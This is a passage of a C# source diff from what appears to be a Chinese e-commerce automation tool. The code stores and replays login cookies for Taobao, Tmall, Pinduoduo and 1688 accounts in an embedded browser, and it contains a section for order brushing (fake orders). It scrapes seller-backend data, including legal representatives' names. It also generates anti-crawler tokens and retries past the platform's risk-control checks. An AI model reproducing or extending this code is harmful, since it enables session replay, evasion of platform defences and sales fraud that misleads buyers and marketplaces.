StringBuilder sb = new StringBuilder();
sb.Append("&fession_id=" + pid);
string data = UserLogin.GetSignaturex() + sb;
string html = GetHtml.PostUtf8(url, data);
html = GetHtml.Decode(html).Replace("\\/", "/").Replace(@"\", "");
return html;
}
}
}
+689
View File
@@ -0,0 +1,689 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
using CefSharp;
using Cookie = System.Net.Cookie;
namespace Work.CollectClass
{
public class SetCookiesUserInfo
{
public static bool ReflashUsers = false;
public static bool ReflashPinUsers = false;
public static bool ReflashFunUsers = false;
public static bool ReflashRepUsers = false;
public static bool ReflashTaoBaoUsers = false;
public static bool SlipaceReflashUsers = false;
public static bool ALReflashUsers = false;
public static bool ALReflashFunUsers = false;
public static string UserName = "";
public static string TaoBaoUserName = "";
public static string SlipaceUserName = "";
public static string ALUserName = "";
public static string PayMobile = "";
public static string SlipacePayMobile = "";
public static string ALPayMobile = "";
public static string CookiesString = "";
public static Dictionary<string, UserCookies> UserCookies = new Dictionary<string, UserCookies>();
public static Dictionary<string, UserSlipaceCookies> UserSlipaceCookies = new Dictionary<string, UserSlipaceCookies>();
public static Dictionary<string, UserALCookies> UserALCookies = new Dictionary<string, UserALCookies>();
private List<Cookie> Cookies;
private List<Cookie> SlipaceCookies;
private List<Cookie> ALCookies;
public void Set(string mobile, bool refundFlag)
{
if (!UserCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个手机号", "提示");
return;
}
string url = BaseClass.NewUrl+"/personal_profile.html";
string refere = BaseClass.NewUrl+"/personal.html";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\""");
if (name == mobile)
return;
List<Cookie> cookies = UserCookies[mobile].Cookies;
Delete();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = mobile;
Cookies = cookies;
new Thread(Set).Start();
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + mobile + " 成功", "提示");
}
}
/// <summary>
/// 重试一次设置cookies
/// </summary>
public void Set()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in Cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public bool SetTaoBao(string userName, bool refundFlag)
{
if (!UserCookies.ContainsKey(userName))
{
MessageBox.Show("没有找到这个淘宝买家", "提示");
return false;
}
DeleteTaoBao();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
List<Cookie> cookies = UserCookies[userName].Cookies;
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://i.taobao.com/my_taobao.htm";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = userName;
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + userName + " 成功", "提示");
}
return true;
}
/// <summary>
/// 设置淘宝卖家
/// </summary>
/// <param name="userName"></param>
/// <returns></returns>
public bool SetSellerTaoBao(string userName)
{
if (!UserCookies.ContainsKey(userName))
{
MessageBox.Show("没有找到这个淘宝卖家", "提示");
return false;
}
DeleteTaoBao();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
List<Cookie> cookies = UserCookies[userName].Cookies;
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://myseller.taobao.com/home.htm";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
PayMobile = userName;
return true;
}
public void Get()
{
string url = BaseClass.BuildObjString("user_login_cookies&act=get");
string data = "&site_id=-1";
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
if (string.IsNullOrEmpty(html) || !html.Contains("'"))
return;
UserCookies.Clear();
var m = BaseRegex.GetMatchRegex(ref html, "<user_login_cookies([^>]+?)>");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string name = BaseRegex.GetStringJson(ref list, "user_name");
if (string.IsNullOrEmpty(name) || UserCookies.ContainsKey(name))
continue;
string cookies = BaseRegex.GetStringJson(ref list, "cookies");
int site_id = BaseRegex.GetIntJson(ref list, "site_id");
AddList(name, cookies, site_id);
}
ReflashUsers = true;
ReflashPinUsers = true;
ReflashFunUsers = true;
ReflashRepUsers = true;
ReflashTaoBaoUsers = true;
ALReflashUsers = true;
ALReflashFunUsers = true;
UserName = "点击下拉切换";
TaoBaoUserName = "点击下拉切换";
ALUserName = "点击下拉切换";
}
public void Add(string name, string cookies, int site_id)
{
string url = BaseClass.BuildObjString("user_login_cookies&act=insert");
StringBuilder data = new StringBuilder();
data.Append("&user_name=" + name);
data.Append("&site_id="+ site_id);
data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies));
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
if (html != "ok")
{
Thread.Sleep(10 * 1000);
html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
AddList(name, cookies, site_id);
}
public void AddList(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 1)
{
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
c = new Cookie();
c.Domain = "tmall.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 2 || site_id == 0 || site_id == -1)
{
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 3)//淘宝卖家
{
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
if (site_id == 4)//进宝
{
Cookie c = new Cookie();
c.Domain = "jinbao.pinduoduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserCookies uc = new UserCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(1))
{
TaoBaoUserName = name;
}
else if (site_id.Equals(0) || site_id.Equals(2))
{
UserName = name;
}
if (!UserCookies.ContainsKey(name))
UserCookies.Add(name, uc);
else
UserCookies[name] = uc;
ReflashUsers = true;
ReflashFunUsers = true;
ReflashPinUsers = true;
ReflashRepUsers = true;
ReflashTaoBaoUsers = true;
}
public void Delete()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("yangkeduo.com"))
{
var cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies(BaseClass.NewUrl+"/", name);
cookieManager.DeleteCookies("http://yangkeduo.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
public void DeleteTaoBao()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("taobao.com"))
{
var cookies = BaseClass.CookiesAllString["taobao.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
if (BaseClass.CookiesAllString.ContainsKey("tmall.com"))
{
var cookies = BaseClass.CookiesAllString["tmall.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
public void DeleteJinBao()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("jinbao.pinduoduo.com"))
{
var cookies = BaseClass.CookiesAllString["jinbao.pinduoduo.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("http://jinbao.pinduoduo.com/", name);
cookieManager.DeleteCookies("http://pinduoduo.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
#region 刷单
public void Setslipace(string mobile, bool refundFlag)
{
if (!UserSlipaceCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个手机号", "提示");
return;
}
string url = BaseClass.NewUrl+"/personal_profile.html";
string refere = BaseClass.NewUrl+"/personal.html";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\""");
if (name == mobile)
return;
List<Cookie> cookies = UserSlipaceCookies[mobile].Cookies;
Delete();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
SlipacePayMobile = mobile;
SlipaceCookies = cookies;
new Thread(SlipaceSet).Start();
if (!refundFlag)
{
MessageBox.Show("切换到账户:" + mobile + " 成功", "提示");
}
}
/// <summary>
/// 重试一次设置cookies
/// </summary>
public void SlipaceSet()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.NewUrl+"/";
foreach (System.Net.Cookie c in SlipaceCookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public void AddSlipace(string name, string cookies, int site_id)
{
FileBase.WriteAllText("temp/MobileCookies/" + StringToUnicode(name) + ".tjm", cookies,
Encoding.Default);
AddListSlipace(name, cookies, site_id);
}
public void AddListSlipace(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 2 || site_id == 0)
{
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserSlipaceCookies uc = new UserSlipaceCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(0) || site_id.Equals(2))
{
SlipaceUserName = name;
}
if (!UserSlipaceCookies.ContainsKey(name))
UserSlipaceCookies.Add(name, uc);
else
UserSlipaceCookies[name] = uc;
SlipaceReflashUsers = true;
}
#endregion
#region 阿里巴巴
public void SetAL(string mobile, bool refundFlag)
{
if (!UserALCookies.ContainsKey(mobile))
{
MessageBox.Show("没有找到这个阿里巴巴买家", "提示");
return;
}
List<Cookie> cookies = UserALCookies[mobile].Cookies;
DeleteAL();
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://www.1688.com/";
foreach (System.Net.Cookie c in cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
ALPayMobile = mobile;
ALCookies = cookies;
new Thread(ALSet).Start();
}
public void ALSet()
{
Thread.Sleep(1000);
var cookieManager = CefSharp.Cef.GetGlobalCookieManager();
//Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true);
string domain = "https://www.1688.com/";
foreach (System.Net.Cookie c in ALCookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddYears(1),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
public void AddAL(string name, string cookies, int site_id)
{
FileBase.WriteAllText("temp/ALCookies/" + StringToUnicode(name) + ".tjm", cookies,
Encoding.Default);
AddListAL(name, cookies, site_id);
}
public void AddListAL(string name, string cookies, int site_id)
{
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
if (site_id == 3)
{
Cookie c = new Cookie();
c.Domain = "1688.com";
c.Expires = DateTime.Now.AddYears(1);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
}
UserALCookies uc = new UserALCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.SiteId = site_id;
if (site_id.Equals(3))
{
ALUserName = name;
}
if (!UserALCookies.ContainsKey(name))
UserALCookies.Add(name, uc);
else
UserALCookies[name] = uc;
ALReflashUsers = true;
ALReflashFunUsers = true;
}
public void DeleteAL()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("1688.com"))
{
var cookies = BaseClass.CookiesAllString["1688.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://www.1688.com/", name);
cookieManager.DeleteCookies("http://www.1688.com/", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
private string StringToUnicode(string value)
{
byte[] bytes = Encoding.Unicode.GetBytes(value);
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < bytes.Length; i += 2)
{
// 取两个字符,每个字符都是右对齐。
stringBuilder.AppendFormat("u{0}{1}", bytes[i + 1].ToString("x").PadLeft(2, '0'), bytes[i].ToString("x").PadLeft(2, '0'));
}
return stringBuilder.ToString();
}
#endregion
}
public class UserCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
public class UserSlipaceCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
public class UserALCookies
{
public string UserName = "";
public List<Cookie> Cookies = new List<Cookie>();
public int SiteId = 0;
}
}
+91
View File
@@ -0,0 +1,91 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class ShopAccountControl
{
public string Name;
public static int threadCount=5;
public static List<ShopAccountDetail> ShopAccountDetailList = new List<ShopAccountDetail>();
public ShopAccountControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (shop.Message == "会话已过期")
continue;
var p = new ShopAccountDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ShopAccountDetailLogic
{
public string Name;
public ShopChatBase Shop;
public ShopAccountDetailLogic(string Name,ShopChatBase Shop)
{
this.Name = Name;
this.Shop = Shop;
}
public void Get()
{
string url = " https://mms.pinduoduo.com/earth/api/mallInfo/queryFinalCredentialNew";
string refere = "https://mms.pinduoduo.com/mallcenter/info/basic";
string data = "{}";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
string categoryName = BaseRegex.GetMatchRegexString(html, @"""staple"":\[""([^<]+)""\]");//主营类目
int mallType = BaseRegex.GetIntJson(ref html, "mallType");//店铺类型
string mallAuth = "个人店铺";
if (mallType != 2)
mallAuth = "企业店铺";
string companyName = BaseRegex.GetStringJson(ref html, "companyName");//公司名称
string socialCreditUnicode = BaseRegex.GetStringJson(ref html, "socialCreditUnicode");//信用代码
string operatorName= BaseRegex.GetStringJson(ref html, "operatorName");//管理员姓名
string legalRepresentativeName = BaseRegex.GetStringJson(ref html, "legalRepresentativeName");//管理员姓名
ShopAccountDetail account = new ShopAccountDetail();
account.ShopId = Shop.ShopId;
account.ShopName = Shop.ShopName;
account.ShopNumer = Shop.Name;
account.CategroyName = categoryName;
account.MallAuth = mallAuth;
account.CompanyName = companyName;
account.SocialCreditUnicode = socialCreditUnicode;
account.OperatorName = operatorName;
account.LegalRepresentativeName = legalRepresentativeName;
ShopAccountControl.ShopAccountDetailList.Add(account);
LogSave.Add(Name, "正在读取店铺 " + Shop.ShopName + "数据");
}
}
public class ShopAccountDetail
{
public string ShopId = "";
public string ShopName = "";
public string ShopNumer = "";
public string CategroyName = "";
public string MallAuth = "";
public string CompanyName = "";
public string SocialCreditUnicode = "";
public string OperatorName = "";
public string LegalRepresentativeName = "";
}
}
+1000
View File
@@ -0,0 +1,1000 @@
using System;
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using Work.ManageClass;
namespace Work.CollectClass
{
public class ShopDetailControl
{
public string Name;
public static int threadCount;
public bool yesFlag;
public bool sevFlag;
public bool thirFlag;
public static List<ShopDetail> ShopDetailTempList = new List<ShopDetail>();
public ShopDetailControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (shop.Message == "会话已过期")
continue;
var p = new ShopDetailGet(Name, shop);
p.yesFlag = yesFlag;
p.sevFlag = sevFlag;
p.thirFlag = thirFlag;
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ShopDetailGet
{
public string Name;
public ShopChatBase Shop;
public bool yesFlag;
public bool sevFlag;
public bool thirFlag;
public static string NoCode = "";
public ShopDetailGet(string name,ShopChatBase shop)
{
Name = name;
Shop = shop;
}
public void Get()
{
try
{
string cookies = "", shopId = "", shopName = "";
int mall_id = Shop.MallId;
if (Shop != null)
{
cookies = Shop.Cookies;
shopId = Shop.ShopId;
shopName = Shop.ShopName;
mall_id = Shop.MallId;
}
#region 商品数量数据
//商品上架
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
string sort_by = "id";
string sort_type = "DESC";
int is_onsale = 1;
int sold_out = 0;
int size = 15;
int pageIndex = 1;
string data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//上架商品记录数
int ShelvesCount = BaseRegex.GetIntJson(ref html, "total");
//商品下架
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
sort_by = "id";
sort_type = "DESC";
is_onsale = 0;
sold_out = 0;
size = 15;
pageIndex = 1;
data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//上架商品记录数
int lowerCount = BaseRegex.GetIntJson(ref html, "total");
//商品售罄
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
sort_by = "id";
sort_type = "DESC";
is_onsale = 1;
sold_out = 1;
size = 15;
pageIndex = 1;
data = "{\"sort_by\":\"" + sort_by +
"\",\"sort_type\":\"" + sort_type +
"\",\"is_onsale\":" + is_onsale +
",\"sold_out\":" + sold_out +
",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//售罄商品记录数
int sellOutCount = BaseRegex.GetIntJson(ref html, "total");
//全部商品
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//post参数
string order_by = "id:desc";
size = 15;
pageIndex = 1;
data = "{\"order_by\":\"" + order_by +
//"\",\"sort_type\":\"" + sort_type +
//"\",\"is_onsale\":" + is_onsale +
//",\"sold_out\":" + sold_out +
"\",\"size\":" + size +
",\"page\":" + pageIndex +
",\"mall_id\":" + mall_id + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//全部商品记录数
int allGoodsCount = BaseRegex.GetIntJson(ref html, "total");
#endregion
string codext = "";
//30天出货量 30天成交金额
url = "https://mms.pinduoduo.com/janus/api/userinfo";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//主营类目
string staple = BaseRegex.GetStringJson(ref html, "staple");
var m = BaseRegex.GetMatchRegex(ref html, @"""staple"":\s*\[""([\s\S]+?)""\]");
for (int i = 0; m != null && i < m.Count; i++)
{
staple = m[i].Groups[1].Value;
}
if (staple == "[]")
staple = "普通商品";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\""+DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd")+"\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int TAgainCount = 0;
TAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && TAgainCount < 5)
{
TAgainCount++;
goto TAgain;
}
//30天出货量
int thirtydayGoodsNum = BaseRegex.GetIntJson(ref html, "cfmOrdrUsrCnt");
//30天成交金额
decimal thirtydayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
//今天成交额
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/mallPayList";// "https://mms.pinduoduo.com/mars/shop/queryDailyMallConfirmAmount";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"crawlerInfo\":\"" + codext + "\" }";// UploadPinduoduoMain.AntiContent
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int AgainCount = 0;
Again:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS")&& AgainCount<5)
{
AgainCount++;
goto Again;
}
//今天成交额
decimal todayNum = BaseRegex.GetDecimalJson(ref html, "curCfmOrdrAmt");
decimal todayMount = todayNum;
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int YAgainCount = 0;
YAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":0,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && YAgainCount < 5)
{
YAgainCount++;
goto YAgain;
}
//昨天天成交金额
decimal yesdayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codext = jsEngine.CallFunction("aaa", "").ToString();
}
url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int SAgainCount = 0;
SAgain:
if (html.Contains("Risk consult PASS"))
{
Thread.Sleep(3000);
data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":1,\"crawlerInfo\":\"" + codext + "\" }";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("Risk consult PASS") && SAgainCount < 5)
{
SAgainCount++;
goto SAgain;
}
//7天成交金额
decimal sevendayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt");
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
